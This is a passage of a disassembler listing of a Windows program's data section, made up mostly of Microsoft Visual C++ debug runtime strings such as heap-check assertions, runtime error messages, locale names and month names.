DATA XREF: sub_41BF80:loc_41C037o align 4 aClientHookAllo db 'Client hook allocation failure at file %hs line %d.',0Ah,0 ; DATA XREF: sub_41BF80+94o align 4 aDbgheap_c db 'dbgheap.c',0 ; DATA XREF: sub_41BF80+31o ; sub_41C3F0+77o ... align 4 a_crtcheckmemor db '_CrtCheckMemory()',0 ; DATA XREF: sub_41BF80+25o ; sub_41C3F0+6Bo ... align 10h dword_43C630 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41C360+5o ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- dw 41h a_pfirstblockPo db '_pFirstBlock == pOldBlock',0 ; DATA XREF: sub_41C3F0+499o align 4 a_plastblockPol db '_pLastBlock == pOldBlock',0 ; DATA XREF: sub_41C3F0+445o align 4 aFreallocFreall db 'fRealloc || (!fRealloc && pNewBlock == pOldBlock)',0 ; DATA XREF: sub_41C3F0:loc_41C7D6o align 4 a_block_typePol db '_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLOCK_TYPE(nBlockUse)',0 ; DATA XREF: sub_41C3F0+277o align 4 aPoldblockNline db 'pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_' ; DATA XREF: sub_41C3F0:loc_41C601o db 'REQ',0 align 4 a_crtisvalidhea db '_CrtIsValidHeapPointer(pUserData)',0 ; DATA XREF: sub_41C3F0+1B6o ; sub_41CA80+A8o ... align 10h aAllocationTooL db 'Allocation too large or negative: %u bytes.',0Ah,0 ; DATA XREF: sub_41C3F0+136o align 10h aClientHookRe_0 db 'Client hook re-allocation failure.',0Ah,0 ; DATA XREF: sub_41C3F0:loc_41C4EFo aClientHookReAl db 'Client hook re-allocation failure at file %hs line %d.',0Ah,0 ; DATA XREF: sub_41C3F0+DCo align 10h dword_43C7E0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41C940+5o dd offset sub_41C9A3 align 10h dword_43C7F0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41CA10+5o dd offset sub_41CA62 a_pfirstblockPh db '_pFirstBlock == pHead',0 ; DATA XREF: sub_41CA80+35Do align 4 a_plastblockPhe db '_pLastBlock == pHead',0 ; DATA XREF: sub_41CA80+307o align 4 aPheadNblockuse db 'pHead->nBlockUse == nBlockUse',0 ; DATA XREF: sub_41CA80+29Co ; sub_41CE90+133o align 4 aPheadNlineIgno db 'pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ',0 ; DATA XREF: sub_41CA80:loc_41CCA4o align 4 aDamageAfterHsB db 'DAMAGE: after %hs block (#%d) at 0x%08X.',0Ah,0 ; DATA XREF: sub_41CA80+1E5o ; sub_41D1D0+265o align 4 aDamageBeforeHs db 'DAMAGE: before %hs block (#%d) at 0x%08X.',0Ah,0 ; DATA XREF: sub_41CA80+17Fo ; sub_41D1D0+208o align 4 a_block_type_is db '_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)',0 ; DATA XREF: sub_41CA80+10Ao ; sub_41CE90+E2o ... align 4 aClientHookFree db 'Client hook free failure.',0Ah,0 ; DATA XREF: sub_41CA80:loc_41CAEDo align 4 dword_43C928 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41CE90+5o dd offset sub_41D001 align 8 dword_43C938 dd 0FFFFFFFFh, 0 ; DATA XREF: _0:0041D045o dd offset sub_41D0FD aMemoryCheckErr db 'memory check error at 0x%08X = 0x%02X, should be 0x%02X.',0Ah,0 ; DATA XREF: sub_41D140+54o align 10h aHsLocatedAt0x0 db '%hs located at 0x%08X is %u bytes long.',0Ah,0 ; DATA XREF: sub_41D1D0+33Ao align 4 aHsAllocatedAtF db '%hs allocated at file %hs(%d).',0Ah,0 ; DATA XREF: sub_41D1D0+307o aDamageOnTopOfF db 'DAMAGE: on top of Free block at 0x%08X.',0Ah,0 ; DATA XREF: sub_41D1D0+2BEo align 4 aDamaged db 'DAMAGED',0 ; DATA XREF: sub_41D1D0:loc_41D3A4o a_heapchkFail_3 db '_heapchk fails with unknown return value!',0Ah,0 ; DATA XREF: sub_41D1D0:loc_41D2FCo align 4 a_heapchkFail_2 db '_heapchk fails with _HEAPBADPTR.',0Ah,0 ; DATA XREF: sub_41D1D0:loc_41D2D4o align 10h a_heapchkFail_1 db '_heapchk fails with _HEAPBADEND.',0Ah,0 ; DATA XREF: sub_41D1D0:loc_41D2ACo align 4 a_heapchkFail_0 db '_heapchk fails with _HEAPBADNODE.',0Ah,0 ; DATA XREF: sub_41D1D0:loc_41D284o align 4 a_heapchkFailsW db '_heapchk fails with _HEAPBADBEGIN.',0Ah,0 ; DATA XREF: sub_41D1D0:loc_41D259o align 10h dword_43CAC0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D1D0+5o dd offset sub_41D545 align 10h dword_43CAD0 dd 0FFFFFFFFh, 0 ; DATA XREF: _0:0041D5B5o dd offset sub_41D63D align 10h dword_43CAE0 dd 0FFFFFFFFh, 0 ; DATA XREF: _0:0041D7E5o dd offset sub_41D8E6 aBadMemoryBlock db 'Bad memory block found at 0x%08X.',0Ah,0 ; DATA XREF: sub_41D930+13Co align 10h a_crtmemcheckpo db '_CrtMemCheckPoint: NULL state pointer.',0Ah,0 ; DATA XREF: sub_41D930:loc_41D959o dword_43CB38 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D930+5o dd offset sub_41DAB8 a_crtmemdiffere db '_CrtMemDifference: NULL state pointer.',0Ah,0 ; DATA XREF: _0:loc_41DB02o aObjectDumpComp db 'Object dump complete.',0Ah,0 ; DATA XREF: sub_41DC10:loc_41DECCo align 4 aCrtBlockAt0x08 db 'crt block at 0x%08X, subtype %x, %u bytes long.',0Ah,0 ; DATA XREF: sub_41DC10+271o align 4 aNormalBlockAt0 db 'normal block at 0x%08X, %u bytes long.',0Ah,0 ; DATA XREF: sub_41DC10+214o aClientBlockAt0 db 'client block at 0x%08X, subtype %x, %u bytes long.',0Ah,0 ; DATA XREF: sub_41DC10+1A9o aLd db '{%ld} ',0 ; DATA XREF: sub_41DC10+15Ao align 4 aHsD db '%hs(%d) : ',0 ; DATA XREF: sub_41DC10+132o align 4 aFileErrorD db '#File Error#(%d) : ',0 ; DATA XREF: sub_41DC10+101o aDumpingObjects db 'Dumping objects ->',0Ah,0 ; DATA XREF: sub_41DC10:loc_41DC4Bo dword_43CC50 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41DC10+5o dd offset sub_41DEC1 aDataSS db ' Data: <%s> %s',0Ah,0 ; DATA XREF: sub_41DF10+ECo a_2x db '%.2X ',0 ; DATA XREF: sub_41DF10+BFo align 4 aDetectedMemory db 'Detected memory leaks!',0Ah,0 ; DATA XREF: sub_41E030:loc_41E064o aTotalAllocatio db 'Total allocations: %ld bytes.',0Ah,0 ; DATA XREF: _0:0041E14Do align 4 aLargestNumberU db 'Largest number used: %ld bytes.',0Ah,0 ; DATA XREF: _0:0041E125o align 10h aLdBytesInLdHsB db '%ld bytes in %ld %hs Blocks.',0Ah,0 ; DATA XREF: _0:0041E0FBo align 10h aMode_t0 db '*mode != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_41E390+95o align 4 aModeNull db 'mode != NULL',0 ; DATA XREF: sub_41E390+67o ; sub_4277D0+4Fo align 4 aFile_t0 db '*file != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_41E390+3Do align 4 aFopen_c db 'fopen.c',0 ; DATA XREF: sub_41E390+18o ; sub_41E390+46o ... aFileNull db 'file != NULL',0 ; DATA XREF: sub_41E390+Fo align 10h aFormatNull db 'format != NULL',0 ; DATA XREF: sub_41EA60+45o ; sub_41EC30+45o ... align 10h aSprintf_c db 'sprintf.c',0 ; DATA XREF: sub_41EA60+24o ; sub_41EA60+4Eo ... align 4 aStringNull db 'string != NULL',0 ; DATA XREF: sub_41EA60+1Bo ; sub_41EC30+1Bo ... align 4 aFgets_c db 'fgets.c',0 ; DATA XREF: sub_41EFB0+24o ; sub_41EFB0+4Eo aFprintf_c db 'fprintf.c',0 ; DATA XREF: sub_41F4E0+1Eo ; sub_41F4E0+48o align 10h aVsprintf_c db 'vsprintf.c',0 ; DATA XREF: sub_41F9C0+1Eo ; sub_41F9C0+48o align 4 aSscanf_c db 'sscanf.c',0 ; DATA XREF: sub_41FF30+24o ; sub_41FF30+4Eo align 4 dbl_43CD98 dq 1.0 ; DATA XREF: sub_41FFF0+99r ; sub_420210+99r ... dword_43CDA0 dd 64676264h, 632E6C65h, 7070h ; DATA XREF: sub_420B80+62o dword_43CDAC dd 78656E6Fh, 632E7469h, 0 ; DATA XREF: sub_420C50+2Eo ; sub_420D30+8o dword_43CDB8 dd 65657366h, 632E6Bh ; DATA XREF: sub_420FE0+16o ; sub_421050+19o dword_43CDC0 dd 75727473h, 632E7270h, 0 ; DATA XREF: sub_421620+133o dword_43CDCC dd 7473626Dh, 7363776Fh, 632Eh ; DATA XREF: sub_421F10+32o dword_43CDD8 dd 3D212073h, 4C554E20h, 4Ch, 0 ; DATA XREF: sub_421F10+29o dword_43CDE8 dd 0FFFFFFFFh, 422232h, 42224Dh ; DATA XREF: _0:00422105o dword_43CDF4 dd 6C69665Fh, 632E65h, 65737341h, 6F697472h, 6146206Eh ; DATA XREF: sub_4222D0+31o ; sub_4222D0+65o ... dd 64656C69h, 0 aError db 'Error',0 ; DATA XREF: _2:00451AE8o align 4 aWarning db 'Warning',0 ; DATA XREF: _2:off_451AE4o aSDS db '%s(%d) : %s',0 ; DATA XREF: sub_422610+1FFo asc_43CE2C: ; DATA XREF: sub_422610:loc_4227E6o dw 0Ah unicode 0, <>,0 asc_43CE30: ; DATA XREF: sub_422610+1C2o dw 0Dh unicode 0, <>,0 aAssertionFai_0 db 'Assertion failed!',0 ; DATA XREF: sub_422610:loc_422785o align 4 aAssertionFaile db 'Assertion failed: ',0 ; DATA XREF: sub_422610+169o align 4 a_crtdbgreportS db '_CrtDbgReport: String too long or IO Error',0 ; DATA XREF: sub_422610+149o ; sub_422610+21Co ... align 4 aSecondChanceAs db 'Second Chance Assertion Failed: File %s, Line %d',0Ah,0 ; DATA XREF: sub_422610+E6o align 4 aWsprintfa db 'wsprintfA',0 ; DATA XREF: sub_422610+B6o align 4 aUser32_dll_0 db 'user32.dll',0 ; DATA XREF: sub_422610+9Co ; sub_430AA0+16o align 4 aMicrosoftVisua db 'Microsoft Visual C++ Debug Library',0 ; DATA XREF: sub_4229A0+2C2o align 4 aDebugSProgramS db 'Debug %s!',0Ah ; DATA XREF: sub_4229A0+28Co db 0Ah db 'Program: %s%s%s%s%s%s%s%s%s%s%s',0Ah db 0Ah db '(Press Retry to debug the application)',0 align 4 aModule db 0Ah ; DATA XREF: sub_4229A0+221o db 'Module: ',0 align 4 aFile_1 db 0Ah ; DATA XREF: sub_4229A0+1E1o db 'File: ',0 aLine db 0Ah ; DATA XREF: sub_4229A0+1AAo db 'Line: ',0 asc_43CF68 db 0Ah ; DATA XREF: sub_4229A0+173o ; sub_42FF30+171o db 0Ah,0 align 4 aExpression db 'Expression: ',0 ; DATA XREF: sub_4229A0+153o align 4 dword_43CF7C dd 0 ; DATA XREF: sub_4229A0:loc_422ABAo ; sub_4229A0:loc_422AD9o ... aForInformation db 0Ah ; DATA XREF: sub_4229A0+10Eo db 0Ah db 'For information on how your program can cause an assertion',0Ah db 'failure, see the Visual C++ documentation on asserts.',0 align 4 a___ db '...',0 ; DATA XREF: sub_4229A0+9Co ; sub_4229A0+F4o ... aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4229A0+56o ; sub_42FF30+EDo align 10h aDbgrpt_c db 'dbgrpt.c',0 ; DATA XREF: sub_4229A0+1Fo align 4 aSzusermessageN db 'szUserMessage != NULL',0 ; DATA XREF: sub_4229A0+13o align 4 a_freebuf_c db '_freebuf.c',0 ; DATA XREF: sub_422DE0+15o align 10h aMlock_c db 'mlock.c',0 ; DATA XREF: sub_423280+16o dword_43D048 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4234C0+5o dd offset sub_423525 dd 0FFFFFFFFh, 0 dd offset sub_4235A7 dword_43D060 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423620+5o dd offset sub_4236C1 dd 0FFFFFFFFh, 0 dd offset sub_4237BA dword_43D078 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423830+5o dd offset sub_4239F8 dd 0FFFFFFFFh, 0 dd offset sub_423C0F dword_43D090 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423CD0+5o dd offset sub_423D4B dd 0FFFFFFFFh, 0 dd offset sub_423DCD dword_43D0A8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423E20+5o dd offset sub_423E82 dd 0FFFFFFFFh, 0 dd offset sub_423EC7 a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_426C90+B9o align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_426C90+5Ao align 10h a_filbuf_c db '_filbuf.c',0 ; DATA XREF: sub_427100+18o align 4 a_open_c db '_open.c',0 ; DATA XREF: sub_4277D0+2Eo ; sub_4277D0+58o ... aFilenameNull db 'filename != NULL',0 ; DATA XREF: sub_4277D0+25o align 4 aStream_c db 'stream.c',0 ; DATA XREF: sub_427B60+C1o align 4 aInconsistentIo db '("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)',0 ; DATA XREF: sub_427CE0+162o align 4 a_flsbuf_c db '_flsbuf.c',0 ; DATA XREF: sub_427CE0+18o ; sub_427CE0+16Eo align 10h byte_43D170 db 6 ; DATA XREF: sub_427F60+8Fr db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: _2:off_453E00o unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: _2:off_453DFCo align 4 aOutput_c db 'output.c',0 ; DATA XREF: sub_427F60+122o align 10h aCh_t0 db 'ch != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_427F60+116o align 10h aTidtable_c db 'tidtable.c',0 ; DATA XREF: sub_428E00+23o ; sub_428EE0+29o align 4 a_sftbuf_c db '_sftbuf.c',0 ; DATA XREF: sub_429C90+18o ; sub_429C90+B2o ... align 4 aFlag0Flag1 db 'flag == 0 || flag == 1',0 ; DATA XREF: sub_429DF0+13o align 10h aInput_c db 'input.c',0 ; DATA XREF: sub_429E90+1Eo ; sub_429E90+4Bo a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 10h aAtan2 db 'atan2',0 align 4 aAtan db 'atan',0 align 10h aAcos db 'acos',0 align 4 aAsin db 'asin',0 align 10h aTanh db 'tanh',0 align 4 aCosh db 'cosh',0 align 10h aSinh db 'sinh',0 align 4 aLog10 db 'log10',0 align 10h aLog_0 db 'log',0 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: _2:off_45407Co align 10h dbl_43D2F0 dq 0.0 ; DATA XREF: sub_42BAE0+D7r ; sub_42BAE0+11Ar ... aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_42C430+1Ao align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_42C430+6o align 10h aE000 db 'e+000',0 ; DATA XREF: sub_42C710:loc_42C788o align 4 dword_43D328 dd 0FFFFFFFFh, 42D1B9h, 42D1C6h, 0 ; DATA XREF: sub_42D120+5o dword_43D338 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42D310+5o dd offset sub_42D3ED align 8 dd offset loc_42D3AE dd offset loc_42D3BB dword_43D350 dd 0FFFFFFFFh, 42D70Ch, 42D712h, 0 ; DATA XREF: sub_42D4B0+5o dword_43D360 dd 0FFFFFFFFh, 42D78Eh, 42D79Dh, 0 ; DATA XREF: sub_42D730+5o dword_43D370 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42D860+5o dd offset sub_42D8CE align 10h dd offset loc_42D8B0 dd offset loc_42D8B6 dword_43D388 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42D910+5o dd offset sub_42D97A align 8 dd offset loc_42D95C dd offset loc_42D962 aLc_time db 'LC_TIME',0 ; DATA XREF: _2:004542FCo aLc_numeric db 'LC_NUMERIC',0 ; DATA XREF: _2:004542F0o align 4 aLc_monetary db 'LC_MONETARY',0 ; DATA XREF: _2:004542E4o aLc_ctype db 'LC_CTYPE',0 ; DATA XREF: _2:004542D8o align 4 aLc_collate db 'LC_COLLATE',0 ; DATA XREF: _2:004542CCo align 4 aLc_all db 'LC_ALL',0 ; DATA XREF: _2:off_4542C0o align 10h asc_43D3E0: ; DATA XREF: _0:loc_42DC43o ; sub_42E020+83o unicode 0, <;>,0 asc_43D3E4 db '=;',0 ; DATA XREF: _0:loc_42DB71o align 4 aSetlocal_c db 'setlocal.c',0 ; DATA XREF: sub_42DE80+3Eo ; sub_42E020+1Bo align 4 asc_43D3F4: ; DATA XREF: sub_42E020+5Bo unicode 0, <=>,0 a___0 db '_.,',0 ; DATA XREF: sub_42E310:loc_42E382o a__4: ; DATA XREF: sub_42E470+50o ; sub_4342F0:loc_4344EBo unicode 0, <.>,0 a__5: ; DATA XREF: sub_42E470+25o unicode 0, <_>,0 aFtell_c db 'ftell.c',0 ; DATA XREF: _0:0042E646o ; sub_42E6A0+18o dword_43D40C dd 0 ; DATA XREF: sub_42EC50+5Do ; sub_431210+58o ... dword_43D410 dd 2 dup(0) ; DATA XREF: sub_42EC50+35o ; sub_431210+35o ... dword_43D418 dd 0FFFFFFFFh, 42ED96h, 42ED9Ch, 0FFFFFFFFh, 42EE8Ch, 42EE92h ; DATA XREF: sub_42EC50+5o dword_43D430 dd 65647473h, 2E70766Eh, 63h ; DATA XREF: sub_42F290+5Bo ; sub_42F290+D0o dword_43D43C dd 61647473h, 2E766772h, 63h ; DATA XREF: sub_42F3E0+72o dword_43D448 dd 6E655F61h, 632E76h ; DATA XREF: sub_42F8F0+E8o ; sub_42F8F0+1C6o dword_43D450 dd 6E696F69h, 632E7469h, 0 ; DATA XREF: sub_42FB10+Bo ; sub_42FB10+106o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 0A0Dh, 534F4C54h dd 72652053h, 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh dd 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: _2:off_4543BCo db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVis_0 db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_42FF30+1A4o align 10h aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_42FF30:loc_43007Ao db 0Ah db 'Program: ',0 align 4 aWinsig_c db 'winsig.c',0 ; DATA XREF: _0:00430651o align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_430AA0+5Fo align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_430AA0:loc_430AEBo aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_430AA0+2Ao aOsfinfo_c db 'osfinfo.c',0 ; DATA XREF: sub_430B60+138o align 8 dword_43D778 dd 0FFFFFFFFh, 431354h, 43135Ah ; DATA XREF: sub_431210+5o dword_43D784 dd 7465675Fh, 2E667562h, 63h ; DATA XREF: sub_4313D0+16o ; sub_4313D0+48o dword_43D790 dd 6F74626Dh, 632E6377h, 0 ; DATA XREF: sub_431C20+21o aMb_cur_max1Mb_ db 'MB_CUR_MAX == 1 || MB_CUR_MAX == 2',0 ; DATA XREF: sub_431C20+18o align 10h aUngetc_c db 'ungetc.c',0 ; DATA XREF: _0:00431DB6o ; sub_431E10+16o align 4 aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTzset_c db 'tzset.c',0 ; DATA XREF: sub_433090+1D1o aTz db 'TZ',0 ; DATA XREF: sub_433090+35o align 4 aInittime_c db 'inittime.c',0 ; DATA XREF: sub_433970+13o align 4 aInitnum_c db 'initnum.c',0 ; DATA XREF: sub_4342F0+1CFo ; sub_4342F0+215o ... align 10h aInitmon_c db 'initmon.c',0 ; DATA XREF: sub_434620+13o align 4 aInitctyp_c db 'initctyp.c',0 ; DATA XREF: sub_434A80+52o ; sub_434A80+6Bo ... align 4 aParaguay db 'Paraguay',0 align 4 aUruguay db 'Uruguay',0 aChile db 'Chile',0 ; DATA XREF: _2:004549E4o align 4 aEcuador db 'Ecuador',0 ; DATA XREF: _2:004549B8o aArgentina db 'Argentina',0 align 4 aPeru db 'Peru',0 align 10h aColombia db 'Colombia',0 ; DATA XREF: _2:00454934o align 4 aVenezuela db 'Venezuela',0 align 4 aDominicanRepub db 'Dominican Republic',0 ; DATA XREF: _2:004548DCo align 4 aSouthAfrica db 'South Africa',0 align 4 aPanama db 'Panama',0 ; DATA XREF: _2:00454884o align 4 aLuxembourg db 'Luxembourg',0 ; DATA XREF: _2:00454858o align 10h aCostaRica db 'Costa Rica',0 ; DATA XREF: _2:0045482Co align 4 aSwitzerland db 'Switzerland',0 aGuatemala db 'Guatemala',0 ; DATA XREF: _2:004547D4o align 4 aCanada db 'Canada',0 ; DATA XREF: _2:004547A8o align 4 aSpanishModernS db 'Spanish - Modern Sort',0 ; DATA XREF: _2:00454774o align 4 aAustralia db 'Australia',0 ; DATA XREF: _2:00454750o align 10h aEnglish db 'English',0 ; DATA XREF: _2:00454748o _2:004548A8o aAustria db 'Austria',0 ; DATA XREF: _2:00454724o aGerman db 'German',0 ; DATA XREF: _2:0045471Co align 4 aBelgium db 'Belgium',0 ; DATA XREF: _2:004546F8o aMexico db 'Mexico',0 ; DATA XREF: _2:004546CCo align 4 aSpanish db 'Spanish',0 ; DATA XREF: _2:004546C4o _2:004547CCo ... aBasque db 'Basque',0 ; DATA XREF: _2:00454698o align 4 aSweden db 'Sweden',0 ; DATA XREF: _2:00454674o align 10h aSwedish db 'Swedish',0 ; DATA XREF: _2:0045466Co aIceland db 'Iceland',0 ; DATA XREF: _2:00454648o aIcelandic db 'Icelandic',0 ; DATA XREF: _2:00454640o align 4 aFrance db 'France',0 ; DATA XREF: _2:0045461Co align 4 aFrench db 'French',0 ; DATA XREF: _2:00454614o _2:004546F0o ... align 4 aFinland db 'Finland',0 ; DATA XREF: _2:004545F0o aFinnish db 'Finnish',0 ; DATA XREF: _2:004545E8o aSpain db 'Spain',0 ; DATA XREF: _2:off_4545C4o ; _2:004546A0o ... align 4 aSpanishTraditi db 'Spanish - Traditional Sort',0 ; DATA XREF: _2:off_4545BCo align 10h aUnitedStates db 'united-states',0 align 10h aUnitedKingdom db 'united-kingdom',0 align 10h aTrinidadTobago db 'trinidad & tobago',0 align 4 aSouthKorea db 'south-korea',0 aSouthAfrica_0 db 'south-africa',0 align 10h aSouthKorea_0 db 'south korea',0 aSouthAfrica_1 db 'south africa',0 align 4 aSlovak db 'slovak',0 align 4 aPuertoRico db 'puerto-rico',0 aPrChina db 'pr-china',0 align 4 aPrChina_0 db 'pr china',0 align 4 aNz db 'nz',0 align 4 aNewZealand db 'new-zealand',0 aHongKong db 'hong-kong',0 align 4 aHolland db 'holland',0 aGreatBritain db 'great britain',0 align 4 aEngland db 'england',0 aCzech db 'czech',0 align 4 aChina db 'china',0 align 4 aBritain db 'britain',0 ; DATA XREF: _2:00454A70o aAmerica db 'america',0 ; DATA XREF: _2:off_454A68o aUsa db 'usa',0 aUs db 'us',0 align 4 aUk db 'uk',0 align 10h aSwiss db 'swiss',0 align 4 aSwedishFinland db 'swedish-finland',0 aSpanishVenezue db 'spanish-venezuela',0 align 4 aSpanishUruguay db 'spanish-uruguay',0 aSpanishPuertoR db 'spanish-puerto rico',0 aSpanishPeru db 'spanish-peru',0 align 10h aSpanishParagua db 'spanish-paraguay',0 align 4 aSpanishPanama db 'spanish-panama',0 align 4 aSpanishNicarag db 'spanish-nicaragua',0 align 4 aSpanishModern db 'spanish-modern',0 align 4 aSpanishMexican db 'spanish-mexican',0 aSpanishHondura db 'spanish-honduras',0 align 4 aSpanishGuatema db 'spanish-guatemala',0 align 10h aSpanishElSalva db 'spanish-el salvador',0 aSpanishEcuador db 'spanish-ecuador',0 aSpanishDominic db 'spanish-dominican republic',0 align 10h aSpanishCostaRi db 'spanish-costa rica',0 align 4 aSpanishColombi db 'spanish-colombia',0 align 4 aSpanishChile db 'spanish-chile',0 align 4 aSpanishBolivia db 'spanish-bolivia',0 aSpanishArgenti db 'spanish-argentina',0 align 4 aPortugueseBraz db 'portuguese-brazilian',0 align 4 aNorwegianNynor db 'norwegian-nynorsk',0 align 4 aNorwegianBokma db 'norwegian-bokmal',0 align 4 aNorwegian db 'norwegian',0 align 4 aItalianSwiss db 'italian-swiss',0 align 4 aIrishEnglish db 'irish-english',0 align 4 aGermanSwiss db 'german-swiss',0 align 4 aGermanLuxembou db 'german-luxembourg',0 align 4 aGermanLichtens db 'german-lichtenstein',0 aGermanAustrian db 'german-austrian',0 aFrenchSwiss db 'french-swiss',0 align 10h aFrenchLuxembou db 'french-luxembourg',0 align 4 aFrenchCanadian db 'french-canadian',0 aFrenchBelgian db 'french-belgian',0 align 4 aEnglishUsa db 'english-usa',0 aEnglishUs db 'english-us',0 align 4 aEnglishUk db 'english-uk',0 align 4 aEnglishTrinida db 'english-trinidad y tobago',0 align 4 aEnglishSouthAf db 'english-south africa',0 align 4 aEnglishNz db 'english-nz',0 align 4 aEnglishJamaica db 'english-jamaica',0 aEnglishIre db 'english-ire',0 aEnglishCaribbe db 'english-caribbean',0 align 4 aEnglishCan db 'english-can',0 aEnglishBelize db 'english-belize',0 align 4 aEnglishAus db 'english-aus',0 aEnglishAmerica db 'english-american',0 align 4 aDutchBelgian db 'dutch-belgian',0 align 4 aChineseTraditi db 'chinese-traditional',0 aChineseSingapo db 'chinese-singapore',0 align 4 aChineseSimplif db 'chinese-simplified',0 align 10h aChineseHongkon db 'chinese-hongkong',0 align 4 aChinese db 'chinese',0 aChi db 'chi',0 aChh db 'chh',0 aCanadian db 'canadian',0 align 10h aBelgian db 'belgian',0 aAustralian db 'australian',0 align 4 aAmericanEnglis db 'american-english',0 align 4 aAmericanEngl_0 db 'american english',0 align 4 aAmerican db 'american',0 ; DATA XREF: _2:off_454B20o align 4 off_43DEC8 dd offset byte_50434F ; DATA XREF: sub_435800:loc_435853o off_43DECC dd offset byte_504341 ; DATA XREF: sub_435800+16o dword_43DED0 dd 69736863h, 632E657Ah, 0 ; DATA XREF: sub_435EC0+38o dword_43DEDC dd 657A6973h, 203D3E20h, 30h ; DATA XREF: sub_435EC0+2Co dword_43DEE8 dd 4E512331h, 4E41h ; DATA XREF: sub_436F70:loc_43712Fo dword_43DEF0 dd 4E492331h, 46h ; DATA XREF: sub_436F70+19Bo dword_43DEF8 dd 4E492331h, 44h ; DATA XREF: sub_436F70+168o dword_43DF00 dd 4E532331h, 4E41h, 6D6D3A48h, 73733Ah, 64646464h, 4D4D202Ch ; DATA XREF: sub_436F70+125o dd 64204D4Dh, 79202C64h, 797979h, 2F642F4Dh, 7979h, 4D50h dd 4D41h, 65636544h, 7265626Dh, 0 aNovember db 'November',0 align 4 aOctober db 'October',0 aSeptember db 'September',0 align 10h aAugust db 'August',0 align 4 aJuly db 'July',0 align 10h aJune db 'June',0 align 4 aApril db 'April',0 align 10h aMarch db 'March',0 align 4 aFebruary db 'February',0 align 4 aJanuary db 'January',0 aDec db 'Dec',0 aNov db 'Nov',0 aOct db 'Oct',0 aSep db 'Sep',0 aAug db 'Aug',0 aJul db 'Jul',0 aJun db 'Jun',0 aMay db 'May',0 ; DATA XREF: _2:00454D78o aApr db 'Apr',0 ; DATA XREF: _2:00454D74o aMar db 'Mar',0 ; DATA XREF: _2:00454D70o aFeb db 'Feb',0 ; DATA XREF: 